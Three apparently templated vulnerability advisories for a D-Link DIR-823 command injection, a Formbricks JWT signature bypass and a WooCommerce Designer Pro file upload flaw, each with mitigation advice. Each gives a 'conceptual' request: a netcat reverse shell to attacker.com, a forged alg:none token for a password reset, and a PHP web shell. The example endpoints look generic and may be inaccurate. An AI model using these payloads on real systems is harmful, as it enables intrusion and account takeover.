Author: Ameeba

Overview

CVE-2025-55848 is a serious vulnerability discovered in the DIR-823 firmware, version 20250416. This flaw allows attackers to execute arbitrary commands on the target system, potentially leading to a full system compromise or data leakage. As the firmware is popular among many network devices, the implications of this vulnerability could be far-reaching, making it a pressing issue for any organization or individual using affected devices. The severity of this issue underscores the importance of timely patching and implementation of cybersecurity best practices.

Vulnerability Summary

CVE ID: CVE-2025-55848
Severity: High (8.8 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Full system compromise or data leakage

Affected Products

Product | Affected Versions

DIR-823 Firmware | 20250416

How the Exploit Works

The exploit takes advantage of a flaw in the set_cassword settings interface of the DIR-823 firmware. Specifically, the http_casswd parameter does not filter out the ‘&’ character. This omission enables an attacker to inject reverse connection commands, effectively allowing them to execute arbitrary code on the system. By leveraging this flaw, an attacker could potentially gain control of the system or access sensitive data.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. This is a theoretical HTTP POST request, exploiting the lack of input sanitization of the http_casswd parameter:

POST /set_cassword HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
http_casswd=1234&;nc -e /bin/sh attacker.com 4444

In this example, the attacker is injecting a Netcat (`nc`) command following the ‘&’ character in the http_casswd parameter. The command sets up a reverse shell that connects back to the attacker’s server (`attacker.com`) on port 4444, providing the attacker with a shell on the target system.

Mitigation and Recommendations

The most effective way to mitigate this vulnerability is to apply the vendor-supplied patch as soon as it is available. If the patch is not immediately available, or if there are constraints preventing immediate patching, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used as a temporary measure to detect and block exploit attempts. It’s also recommended to monitor system logs for any unusual activities, and to always use strong, unique passwords to protect against brute force or dictionary attacks.

Overview

The cybersecurity industry has identified a critical vulnerability, CVE-2025-59934, within Formbricks, an open-source alternative to Qualtrics. This vulnerability, which primarily affects versions of Formbricks prior to 4.0.1, involves a missing JSON Web Token (JWT) signature verification. The severity of this issue is underscored by the potential for system compromise and data leakage, putting user privacy and security at high risk. The vulnerability exists in a crucial security layer of Formbricks, making it an issue of paramount importance.

Vulnerability Summary

CVE ID: CVE-2025-59934
Severity: Critical (9.4 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Formbricks | Versions prior to 4.0.1

How the Exploit Works

The vulnerability stems from a token validation routine that only decodes JWTs (jwt.decode) without verifying their signatures. In this scenario, both the email verification token login path and the password reset server action use the same validator, which does not check the token’s signature, expiration, issuer, or audience. If an attacker gains knowledge of a user’s id, they can generate an arbitrary JWT with an ‘alg: “none”‘ header. This token can then be used to authenticate as the user and reset the user’s password.

Conceptual Example Code

Here is a hypothetical example of how an attacker could exploit this vulnerability:

POST /password/reset HTTP/1.1
Host: formbricks.example.com
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyLmlkIjoiMTIzNDUifQ.
{ "new_password": "new_password_for_victim" }

In this example, the “Authorization” header contains a JWT token with the “none” algorithm specified and a user.id of “12345”. The payload of the POST request is a new password for the user, effectively allowing the attacker to change the user’s password.

Mitigation

The vulnerability has been patched in version 4.0.1 of Formbricks. It is strongly recommended that users upgrade to this version or later. As a temporary mitigation, users could employ a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor for and block suspicious activities related to this exploit.

Overview

A severe vulnerability, identified as CVE-2025-60219, has been found in HaruTheme’s WooCommerce Designer Pro. The vulnerability is considered critical as it allows unrestricted file uploads, including files of dangerous types. This can potentially allow an attacker to upload a web shell to a web server, leading to various cybersecurity risks, including system compromise and data leakage. Businesses using WooCommerce Designer Pro, particularly versions up to 1.9.24, should be aware of this vulnerability and implement necessary measures to mitigate the risk.

Vulnerability Summary

CVE ID: CVE-2025-60219
Severity: Critical (CVSS 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

HaruTheme WooCommerce Designer Pro | Versions up to and including 1.9.24

How the Exploit Works

The vulnerability arises from inadequate validation of user-supplied input when processing file uploads. An attacker can exploit this by sending requests with specially crafted file uploads that include malicious code. Once the file is uploaded and executed on the server, the attacker can take control of the system, leading to a potential system compromise or data leakage.

Conceptual Example Code

Here’s an example of how an attacker could exploit this vulnerability. The attacker creates a malicious PHP file and uploads it to the server through the file upload functionality:

POST /upload_file HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150
Content-Length: 287
-----------------------------735323031399963166993862150
Content-Disposition: form-data; name="uploaded_file"; filename="evil.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
-----------------------------735323031399963166993862150--

In this example, the file `evil.php` contains code that will execute any command passed to it via the `cmd` parameter in a GET request. Once this file is uploaded and executed, the server is compromised.

Mitigation Guidance

Users are advised to apply the vendor-provided patch to resolve this vulnerability. As a temporary measure, users can also implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent malicious file uploads.